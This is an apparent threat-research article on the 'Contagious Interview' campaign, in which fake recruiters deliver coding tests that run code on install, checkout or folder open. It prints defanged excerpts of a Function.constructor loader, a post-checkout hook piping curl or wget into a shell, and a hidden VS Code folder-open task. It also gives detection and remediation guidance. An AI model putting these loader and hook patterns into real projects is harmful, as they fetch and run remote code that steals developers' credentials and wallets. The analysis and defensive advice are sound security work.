Skip to content
PublishedMalware Analysis · v1.0 · 12 min

Contagious Interview: Fake Coding Tests and Execution Triggers

Recruitment bait, install-time loaders, Git hooks and VS Code tasks, with source excerpts and defensive checks.

Cristian Chiriac

Published:
2 November 2026
Version:
1.0
Last observed:
30 October 2026
Dataset frozen:
1 November 2026
Collection cut-off:
31 October 2026, 17:59 UTC
Tracked items rechecked:
1 November 2026, 18:23 UTC
Time zone
All dates UTC.
Contents

Fake coding assessments contain loaders and repository-controlled hooks that can execute code during normal developer actions.

The research in 30 seconds

What I found
Fake coding assessments contain loaders and repository-controlled hooks that can execute code during normal developer actions.
What this adds
The examined projects expose three trigger paths, including folder-open tasks that arm a checkout hook.
Verified scope
436 repositories passed the broader campaign proof rules on 30–31 October; the earlier byte-identical template set is a different measure.
What remains unknown
Source establishes configured behavior. Candidate execution, archive delivery and successful infection were not observed.

The numbers, with their boundaries

Current count

436

Campaign repositories

30–31 Oct 2026 · UTC

Counts:
Broader pinned-commit proof pass; 374 owner accounts. Includes loader projects, hooks, older loaders and two server repositories.

Earlier snapshot or subset

256

Byte-identical template loaders

27 Oct 2026 · UTC

Counts:
Earlier rechecked template subset across 61 families; not an earlier count of exactly the same set.

Earlier snapshot or subset

51 → 38

Hook-lure snapshots

29 → 30 Oct 2026 · UTC

Counts:
51 documented on 29 Oct; 38 passed the current-commit hook rule on 30 Oct. Do not add the two snapshots.
Technical detail:Long tables, code and the evidence register are folded; nothing is left out.

A take-home coding test can run a loader during installation, startup or checkout. This article follows the recruitment bait and the three execution paths found in the examined projects.

This is the entry-point analysis. The companion investigation into public server source, infrastructure and payloads follows the delivery chain beyond the coding test.

Where this stands (1 November 2026)

#

The proven set was closed on 1 November 2026 with what had been found up to 31 October 2026, 17:59 UTC; repositories found after that are tracked separately and are not in these figures. The full proof pass at pinned commits ran on 30–31 October. On 1 November 2026, 18:23 UTC a read-only GitHub API recheck covered the 162 repositories, 73 accounts and 12 issues that are tracked one by one (operator repositories, Shai-Hulud accounts, phishing issues), not the whole set.

  • Frozen: 436 repositories under 374 accounts carry the loader, a hook lure or server source at a pinned commit; 44 of the 51 hook lures still had the hook when proven.
  • Operators active: two staging-server repositories received commits on 31 October (01:15 and 01:33 UTC); one hook-lure repository removed its hook on 31 October (its proof row keeps the earlier commit).
  • Public: 16 of the 18 infrastructure repositories; all 51 hook-lure repositories; the job ads were still open.

Proof pass, 30 October 2026

#

On 30 October every repository in this campaign's lists was read again at a pinned commit. Each was recorded with its commit, matched file and git object id. 436 repositories under 374 accounts passed, 49 of them added on 31 October:

Rule at the current commit Repositories
Loader in a coding-test project 382
…redistributed copies of a template 248
…repositories controlled or suspected to be controlled by the operators 33
…other loader hits 101
Repository-controlled git hook that downloads and runs a script 44
Older errorHandler loader 8
Server source added on 29 October 2

This is a different measure from the 256 used elsewhere on this page. 256 counts loaders that are byte-identical to an analysed sample in the operators' 61 template families, re-checked on 27 October. 382 is the 30 October proof pass plus 49 loader repositories that my daily search found on 31 October with the same rule. It also counts redistributed copies and other listed loader hits.

The fifteen server-source repositories described in the infrastructure companion were proven earlier from their full history and are not repeated in this table. 28 repositories no longer show the evidence at their current commit, 7 of them hook lures, and 3 were deleted. They are not counted. Six hook lures keep the hook in .github/githooks/post-checkout; my first rule looked only in .githooks/, so they were added on the evening of 30 October.

What the operation looks like

#

Fake recruiters use take-home coding exercises to deliver malicious code to developers. I examined public repositories, historical platform events and infrastructure records, alongside preserved samples that I analyzed offline. The material connects coding-test lures with staging infrastructure and with JavaScript payloads whose capabilities are consistent with the publicly reported OtterCookie lineage.

The most unusual observation: the operators keep the source code of their own staging and payload servers in public GitHub repositories. That code gives researchers a second view of the infrastructure, and its commit history dates each change.

The chain is not equally strong at every step. A URL inside a hook, for example, can be directly observed in a file; that does not establish how the archive reached a candidate or what a server returned at runtime. This article distinguishes those observations from supported links and open questions.

Findings and confidence

#

How I conducted the investigation

#
Expand technical detail · complete record

I used publicly accessible repository and platform-event records (the GitHub REST and Events APIs, and the public GH Archive event history). I also used certificate-transparency data, passive DNS, existing third-party scans, registration (RDAP) records and threat-intelligence lookups.

Preserved samples were analyzed in an isolated virtual machine without executing the malware, contacting the suspected infrastructure, logging into an operator panel or accessing victim data. The deobfuscation process did evaluate string-decoder functions in a network-isolated environment; it did not run the payload as a whole. Later downloads from GitHub ran in a separate, disposable virtual machine, so that no sample was written to my workstation.

Account actions were attributed using platform-recorded events where available, not commit author names or email addresses. Many commits in these repositories carry the names and addresses of unrelated, long-standing developers, which is consistent with identity reuse. Commit timestamps can be set by clients and are labeled as commit dates, never as verified event times.

Data source What was collected Scope Date (UTC) Coverage limit
GitHub code and commit search Loader function names, configuration patterns, template sibling files, lure emails 267 template repositories in 61 families; 508 configuration versions 26–29 Oct 2026 Default branches; indexed files only
GitHub object reads Exact loader and configuration blobs by hash; HEAD re-checks 308 repositories 27 Oct 2026, 12:38–12:45 —
Server-source repositories Full history of 17 Express repositories; Vercel commit statuses 375 commits (first 15) 26–29 Oct 2026 A commit does not prove a deployment
GitHub Events API and GH Archive Authenticated pushes and repository creations Actor-side accounts 26–28 Oct 2026 Events API about 90 days; GH Archive degraded for Aug–Oct 2026
Preserved payload samples Static analysis in an isolated VM 35 files from 157 versions 26–27 Oct 2026 String decoders evaluated with the network isolated; payloads never run
Certificate transparency, passive DNS, RDAP Registration and hosting of staging domains and C2 addresses 48 hostnames; 15 C2 addresses 26–29 Oct 2026 Third-party scan coverage varies
Job-board archives Recruitment posts and their authors 1,214 archived posts on one board; 10 BitAngels posts on 8 boards 28–29 Oct 2026 Deleted posts only through archives

The bait: a company name and a coding test

#

Two job advertisements on a public web3 job board used the name "ParallelChain Labs", which resembles the legitimate company ParallelChain Lab. They were posted on 8 and 13 September 2026. Both were later deleted from the board but are preserved in its public archive. They direct candidates to an address and a Telegram handle under parallelchain-labs[.]com. Only these two of 1,214 archived posts match the template.

The domain was registered on 7 September 2026, and a TLS certificate was issued on 8 September, about three hours after the first post. A look-alike, parallelchain-lab[.]com, followed on 22 September.

A second persona borrows a real brand. Between 22 August and 15 September 2026, ten posts on eight job boards hosted as GitHub issue trackers advertised a "Senior Solidity Smart Contract Engineer" role at "BitAngels", the name of an existing investor network. Nine of them were opened by one GitHub account, and that same account owns the source of a staging server and of a payload server (see the account relationships in the companion analysis). Four of its posts were still open on 29 October. The tenth post, with identical text, came from a different account whose control I could not establish.

Thirteen coding-test ZIP archives, in a repository of an account linked to the server infrastructure, carry a Git hook that downloads a script from parallelchain-labs[.]com. The operators' own server source also added that domain as a staging host on 7 October. The shared domain supports a connection between the advertised persona and the archives. The material does not show how those particular ZIP files were delivered to candidates.

Three ways a project can trigger code

#

1. Application loader

#

The most common loader was found in an application file named errorHandler.js.

  • It exports a function, errorTimeHandler(), that builds a URL from base64-encoded environment values and requests it with a fixed header (x-secret-header: secret).
  • It runs whatever the server returns in its error response through Function.constructor. GitLab documented this pattern earlier [6].
  • It fires when the application's code calls that function. In most template families, the call is referenced from the validator middleware, which was not verified for every repository.

About the code excerpts. They are shortened and made non-functional on purpose: addresses are defanged (hxxp, [.]), encoded values are replaced with <redacted>, and // ... marks omitted lines. Comments starting with ← are mine. I took them from files I examined statically; nothing was run.

Here is the core of the most common loader version (blob 39608990…):

js
// errorHandler.js (excerpt)
const errorHandler = (error) => {
  // ...
  const createHandler = (errCode) => {
    const handler = new (Function.constructor)('require', errCode); // ← text becomes a function
    return handler;
  };
  const handlerFunc = createHandler(error);
  if (handlerFunc) handlerFunc(require);                             // ← and runs with require()
};

const errorTimeHandler = async () => {
  const src = atob(process.env.DB_API_KEY);     // ← staging URL, base64 in .env
  const k = atob(process.env.DB_ACCESS_KEY);    // ← header name
  const v = atob(process.env.DB_ACCESS_VALUE);  // ← header value
  try {
    globalConfig = (await axios.get(`${src}`, { headers: { [k]: v } }));
  } catch (error) {
    errorHandler(error.response?.data || error.message); // ← the server's error body is executed
  }
};

The values it reads sit among ordinary-looking sample settings in the project's .env:

ini
# api/.env (excerpt)
DB_PASSWORD=secretpassword  # Database password
DB_API_KEY="<redacted>"     # Database api key       ← base64 of the staging URL
DB_ACCESS_KEY="<redacted>"  # Database access key    ← base64 of the header name
DB_ACCESS_VALUE="c2VjcmV0"  # Database access value  ← base64 of "secret"

I found the loader in 256 template repositories, and in 15 more owned by accounts linked to the infrastructure. A public copy does not prove anyone ran it.

Across the template history (508 configuration versions), one loader file stays byte-identical from July 2025 to October 2026. Only the configured staging host changes, in this order:

api-server-mocha → gd.tracelic → y-lilac-sigma → walter-server / server-victory5 → server-azure-tau → tsoftlabs

That is a statement about the examined files, not proof that every related project had a single human operator.

A relative of this loader is older still. A single-repository organization created on 6 June 2025 holds an assessment project whose server/config/runtimeConfig.js decodes an environment value, requests it, and runs the response through Function.constructor when the server starts. Its configured host is bs-production[.]up[.]railway[.]app. It is the earliest malicious artifact of this cluster I have found. On 29 October I also found four more single-repository owners whose only repository carries the errorHandler.js loader; three were created on the day of their repository or a few days before. I suspect the operators set them up, but I have not proven it.

2. VS Code task

#

Six template repositories also contained a VS Code task configured to run when a folder opens. The task referenced files presented as fonts but containing JavaScript. In two decoded examples, the task and the application loader pointed to the same staging host and campaign identifier within the same repository.

VS Code task-based lures have been documented by earlier researchers (OpenSourceMalware, SEAL, Abstract Security, GitLab) [3, 4, 5, 6]. The overlap between the two triggers in these examples is the observation here. Whether a task runs depends on the editor's trust settings and user actions; I did not execute it.

3. Git hooks in an archive or repository

#

The thirteen ZIP archives each contain a complete .git directory with an active .git/hooks/post-checkout hook. The hook is identical in all thirteen and retrieves an operating-system-specific script from parallelchain-labs[.]com/settings/<os>?flag=2.

A normal clone does not copy the source repository's hooks as active local hooks. An archive that includes a pre-existing .git directory carries the hook in place. Git runs it after a checkout in that working tree; extracting the archive alone does not.

The hook is 64 lines long. Forty-five of them are generic comments about what Git hooks are for, which makes the file look like documentation. The part that runs, condensed:

sh
#!/bin/sh
# .git/hooks/post-checkout (executable lines only)
uname_s="$(uname -s 2>/dev/null || echo unknown)"
case "$uname_s" in
  Darwin) curl -s 'hxxps://parallelchain-labs[.]com/settings/mac?flag=2' | sh >/dev/null 2>&1 ;;
  Linux)  wget -qO- 'hxxps://parallelchain-labs[.]com/settings/linux?flag=2' | sh >/dev/null 2>&1 ;;
  MINGW*|MSYS*|CYGWIN*)
          curl -s hxxps://parallelchain-labs[.]com/settings/windows?flag=2 | cmd >/dev/null 2>&1 ;;
esac

A separate set of repositories, under two "BitAngels" organizations, contained a hook under .github/githooks/ that calls githooks[.]xyz. Git uses that hook only if core.hooksPath points to that directory, and when I checked them on 27 October no file in those two organizations set it.

Newer lures set it for the candidate. On 28 and 29 October I found 51 hook-lure repositories in 12 organizations created between September and October 2026: "hiring test" and "live coding test" organizations, and later BitAngels-themed ones. They ship a VS Code task that runs when the folder is opened and stays hidden:

json
"label": "Git checkout to default branch",
"command": "git config core.hooksPath .githooks; git checkout main",
"presentation": { "reveal": "never", "echo": false, ... },
"runOptions": { "runOn": "folderOpen" }

The checkout fires the repository's own post-checkout hook, which has the same structure as the archive hook above: a block of comment lines, then curl or wget piped into a shell, per operating system. Once a candidate opens and trusts the folder in VS Code, no further action is needed. Each group of organizations points at its own staging host:

Lure organizations (by theme) Repositories Staging host in the hook
Four "Hiring-Test" organizations 16 parallelchain-labs[.]com
Two "live-coding-test" organizations themed on a "Lootrush" company 20 lootrushs[.]xyz, brickfi[.]vip
A third "Lootrush" organization 1 (plus 8 empty) lootrush[.]sbs
A "live-test" organization created on 23 October 6 jitnad[.]biz
An "auron" organization 5 githooks[.]xyz
Two later BitAngels-themed owners 2 git-node-update[.]online
One more organization 1 dmitify[.]xyz

Every one of these hosts also appears in the operators' server source or in the same domain registration batches. All 51 repositories were still public on 29 October.

The hook contents were inspected; I did not run them. Prior reporting had already documented folder-open tasks [3, 4, 5], malicious hook lures and archives containing live hooks [11]. What is new here is the set of repositories and hosts, not the technique.

Evidence register

#
Expand technical detail · complete record
E-CI-LOADERLoader-bearing template repositories

267 repositories in 61 template families; loader file compared by git blob hash with analyzed samples; configuration decoded to staging URLs; re-checked at HEAD.

Source: GitHub code search and object reads · Collected 27 October 2026

E-CI-SERVEROperator server-source repositories

Express source of staging and payload servers, their full commit history, configured hosts and Vercel deployment statuses.

Source: GitHub repositories and commit statuses · Collected 29 October 2026

E-CI-PAYLOADPayload versions and static analysis

157 distinct payload blobs from the payload-server history; 35 preserved and analyzed statically, including the five B3-cdp-la versions of 27 October.

Source: GitHub object reads; isolated VM · Collected 27 October 2026

E-CI-HOOKSGit-hook lures

Thirteen ZIP archives with a live .git/hooks/post-checkout, and 51 repositories whose folder-open task sets core.hooksPath to a repository hook directory.

Source: GitHub contents API inside an isolated VM · Collected 29 October 2026

E-CI-RECRUITRecruitment posts

ParallelChain Labs posts preserved in a job board's archive; ten BitAngels posts on eight GitHub-hosted job boards with their authors and states.

Source: GitHub issues API; job-board archive · Collected 29 October 2026

E-CI-EVENTSAccount events

Authenticated push and creation events for actor-side accounts, stable numeric IDs and renames.

Source: GitHub Events API; GH Archive · Collected 28 October 2026

Defensive checks

#

Before opening or running an unfamiliar take-home project:

  1. Inspect archives for .git/hooks/, .githooks/, .github/githooks/ and other setup scripts. Treat a ZIP containing a .git directory with non-sample hooks as untrusted, and do not perform a checkout inside it.

  2. Review .vscode/tasks.json for folder-open tasks, and examine files presented as fonts or images if a task tries to run them with Node.js. A task that runs git config core.hooksPath is a red flag. Use the editor's workspace trust controls.

  3. Review application setup and environment-driven loaders before installing dependencies or running the project. Look for Function.constructor or eval applied to remotely retrieved code, and for base64 values in .env that decode to unexpected URLs.

  4. Hunt where telemetry permits:

    • for the header x-secret-header;
    • for the paths /api/ipcheck-encrypted/ and /settings/;
    • on macOS, for the file ~/Library/LaunchAgents/com.user.chrome.cdp.plist;
    • for outbound traffic to the listed C2 addresses on ports 8085–8087.

    Validate each match in context: shared infrastructure and common paths can produce false positives.

If you already ran one of these projects

#

Use a separate, trusted device for any password or key changes. If the machine belongs to an employer, involve their incident-response team before changing anything.

Look for these traces. Each one comes from the operators' published code or from my static analysis; not every infection leaves all of them.

  • A .vscode folder in your home directory (%USERPROFILE%\.vscode on Windows, ~/.vscode on macOS/Linux) containing files you did not create. Examples: vscode-bootstrap.cmd, env-setup.js or env-setup.npl, or a package.json with axios, socket.io-client, clipboardy or sql.js.
  • On macOS, the file ~/Library/LaunchAgents/com.user.chrome.cdp.plist, or the logs /tmp/chrome-cdp.stdout.log and /tmp/chrome-cdp.stderr.log.
  • Google Chrome running with --remote-debugging-port when you did not start it that way.
  • Node.js processes connecting to remote ports 8085, 8086 or 8087.
  • Unexpected background node processes started from your home directory.

Assume these were exposed and change them. The stealer targets each of them:

  • passwords saved in browsers;
  • crypto-wallet extensions (move funds using a new seed on a clean device);
  • SSH keys;
  • cloud credentials (~/.aws and similar);
  • API keys or tokens in your shell environment or .env files;
  • GitHub and npm tokens.

Rebuild. A reinstall is the reliable way to remove the remote-access component. Deleting the files above does not guarantee a clean system.

What was already public

#
Expand technical detail · complete record

Sources were read on or before 30 October 2026. Each one also links to its Internet Archive record, which lists the captures that exist, in case the original moves or changes.

The findings build on substantial earlier work. Numbers in brackets in the text refer to this list.

  1. Palo Alto Unit 42, "Hacking Employers and Seeking Employment: Two Job-Related Campaigns Bear Hallmarks of North Korean Threat Actors" (2023-11-21) — first public description of Contagious Interview. https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/ (Internet Archive lookup)
  2. Cisco Talos, "BeaverTail and OtterCookie evolve with a new Javascript module" (2025-10-16). https://blog.talosintelligence.com/beavertail-and-ottercookie/ (Internet Archive lookup)
  3. OpenSourceMalware, "DPRK Contagious Interview Malware Weaponizes Microsoft VSCode Tasks" (2025-11-29). https://opensourcemalware.com/blog/contagious-interview-vscode (Internet Archive lookup)
  4. SEAL Intel, "VS Code Tasks Abuse by Contagious Interview (DPRK)" (2026-01-13). https://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/ (Internet Archive lookup)
  5. Abstract Security, "Contagious Interview: Tracking the VS Code Tasks Infection Vector" (2026-01-20). https://www.abstract.security/blog/contagious-interview-tracking-the-vs-code-tasks-infection-vector (Internet Archive lookup)
  6. GitLab Threat Intelligence, "GitLab Threat Intelligence Team reveals North Korean tradecraft" (2026-02-19) — the .env + Function.constructor loader pattern. https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/ (Internet Archive lookup)
  7. Microsoft Threat Intelligence, "Contagious Interview: Malware delivered through fake developer job interviews" (2026-03-11). https://microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews (Internet Archive lookup)
  8. SANS Internet Storm Center, "Cross-Platform NPM Stealer" (diary 33006, 2026-05-22) — the 8085/8086/8087 port pattern. https://isc.sans.edu/diary/33006 (Internet Archive lookup)
  9. Elastic Security Labs, "New North Korean campaign uses fake coding interviews to steal developer credentials" (2026-07-18). https://www.elastic.co/security-labs/contagious-interview-malware-svg-steganography (Internet Archive lookup)
  10. Atlassian Trust & Security, "From fake interviews to malicious repositories: Disrupting Contagious Interview" (2026-09-21). https://www.atlassian.com/blog/how-we-build/disrupting-contagious-interview (Internet Archive lookup)
  11. bryanchriswhite/dev-trap-dossiers (GitHub), incident write-ups including Git-hook archives (2026-08).
  12. OSV advisory MAL-2026-2896 (npm package chai-as-stream, 2026-04-15), and a researcher's public notes on the BitAngels recruiter lure (2026-04-10).

Reports consulted only through secondary references, because the originals could not be accessed: SlowMist (July 2026, which matches C2 172.86.126[.]76); Walmart, "Mapping OtterCookie Infrastructure"; and BlueVoyant on Shifty Corsair.

Why this needs more awareness

#

This campaign does not exploit a software vulnerability. It exploits a routine step of hiring: a candidate receives a project, installs its dependencies and runs it, often under time pressure and on the same computer that holds their browser sessions, password manager and crypto wallets. Each of those steps looks normal, which is why the technique keeps working.

Technical controls alone do not close that gap; people who hire and people who apply need to know the pattern. What I would ask readers to pass on:

  • Candidates: run any take-home test in a disposable virtual machine, container or cloud workspace with no saved logins. Before running anything, read package.json scripts, .vscode/tasks.json and any Git hooks. A recruiter who insists the project must run locally and quickly is a warning sign.
  • Recruiters and hiring teams: send tests from your own organization's repository and say so in writing, so candidates can tell a real test from a copy.
  • Security and IT teams: treat developer job hunting as part of the threat model, and include this lure in awareness training alongside phishing.
  • Everyone: if you received a test like this, report the repository to the platform that hosts it. Each report removes one copy that someone else might run.

Data notes and reconciliation

#
Expand technical detail · complete record
Measure Figures Why they differ
Loader repositories 256 vs 436 256 = byte-identical loaders in the 61 template families on 27 Oct; 436 = frozen proven set (30–31 Oct), which also counts redistributed copies, hook lures and server-source repositories
Hook lures 51 → 44 proven 51 in the 29 Oct inventory; 44 carry the hook at the pinned commit (38 in .githooks/, 6 in .github/githooks/); 7 had removed it before the 30 Oct check
Infrastructure repositories 18 → 16 public Two disappeared with their account before 29 Oct

Limitations

#

This is a passive and primarily static investigation. I did not access any suspected server, C2, operator panel or victim data, and I did not execute the payloads. Consequently, current liveness, server responses, delivery to a particular candidate and actual compromise are unknown. Platform search, public archives and threat-intelligence sources have coverage gaps.

Investigation context

#

This article is part of the GitHub threat investigation. Counts are a snapshot, not evidence that the code ran on a victim's machine. The shared methodology and proof rules explain inclusion, exclusions and the independent re-check.

#

The companion indicator inventory retains the reviewed staging hosts, payload hashes and historical command-and-control addresses. Indicators describe observed configurations, not confirmed execution.

Claims, evidence and limits

ClaimAssessmentEvidenceLimit
256 coding-test repositories still carry the loaderConfidence: Confirmed malicious
E-CI-LOADERNot stated in the finding
Hook lures armed by opening the folderConfidence: Confirmed malicious
E-CI-HOOKSNot stated in the finding

Terms used on this page

pinned commit
A specific commit, identified by its hash, at which a repository was read. Every counted repository was proven at the default-branch commit recorded in the proof pass, so a later change to the repository does not change what was proven.
git object id
The hash Git assigns to a file's exact contents. Recording it identifies the precise file that matched, independently of its path or of later edits.
default branch
The branch a repository shows by default. Counts are taken on default branches only; infected non-default branches were recorded separately and are not counted.
staging server
In Contagious Interview, an Express server that answers platform-specific setup requests with a script that downloads and starts a Node.js program; requests that look like a browser or Postman get a harmless decoy. A separate payload server returns the obfuscated JavaScript stealer.
proof pass
The 30–31 October 2026 re-read of every candidate at a pinned commit under fixed inclusion rules, followed by an independent re-read of a random sample of 555 repositories through a different API.
folder-open task
A VS Code task in .vscode/tasks.json with "runOn": "folderOpen", which runs when the folder is opened in a trusted workspace.
workspace trust
VS Code's setting for unfamiliar folders: a folder that is not trusted opens in restricted mode, which stops folder-open tasks.
defanged
Written so it cannot be clicked or resolved as written, for example example[.]com or hxxps://. Every network indicator on this site is defanged.

All terms: glossary.

Corrections & discussion

Found an error, or have evidence that supports or contradicts a finding? Send a correction. Name the section and what you observed.

← All research